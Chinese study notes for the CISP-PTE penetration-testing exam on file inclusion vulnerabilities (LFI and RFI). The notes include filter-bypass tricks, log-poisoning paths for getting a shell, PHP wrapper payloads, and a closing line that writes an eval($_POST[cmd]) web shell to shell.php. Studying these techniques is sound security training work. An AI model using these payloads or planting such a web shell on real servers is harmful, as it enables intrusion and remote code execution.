cisp-pte学习笔记之文件包含

2023-07-24 14:35:58 浏览数 (1)

文件包含

开发者在开发的过程中,会将可以重复利用的函数或者代码块写入到单个文件当中,当需要实现某些功能,直接调用对应功能的文件即可,无需重复编写,这种调用文件的过程称之为文件包含

文件包含函数

PHP文件包含函数

include() include_once() require() require_once() fopen() readfile()

JSP文件包含函数

java.io.file() java.io.filereader() include() 动态包含只支持包含web路径下的jsp文件

aspx文件包含函数

include file() include virtual() aspx和asp均不支持动态包含

无论被包含文件后缀是什么,均会以php的方式进行解析

动态包含和静态包含

文件包含漏洞

1、包含函数时必须使用动态包含的方式 2、对于包含函数的文件没有做详细的过滤和检查

include.php include(upload.php)

本地文件包含(LFI)

通过本地文件包含实现文件内容读取 ../==..-->..././ 添加后缀的形式--截断

通过将一句话木马保存到日志文件中,包含日志文件getshell /var/log/apache2/access.log /var/log/httpd/access.log /var/log/nginx/access.log

远程文件包含(RFI)

代码注入的一种,通过包含的方式远程注入恶意代码在目标服务器上解析执行 前提条件 allow_url_fopen ON allow_url_include ON 包含的变量前没有前置目录的限制 远程包含文件路径必须为绝对路径

临时启动http服务--网页根目录为启动cmd的目录 python3 -m http.server 8000 python2 -m SimpleHTTPServer 8000

伪协议

http:// ftp:// php://filter/read=convert.base64-encode/resource= php://input phar://压缩包路径/压缩包内的实际文件名称 zip://压缩包路径,压缩包后缀为zip#文件名称 data://text/plain,<?php phpinfo();?> data://text/plain,base64,PD9waHAgcGhwaW5mbygpOz8

fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');

0 人点赞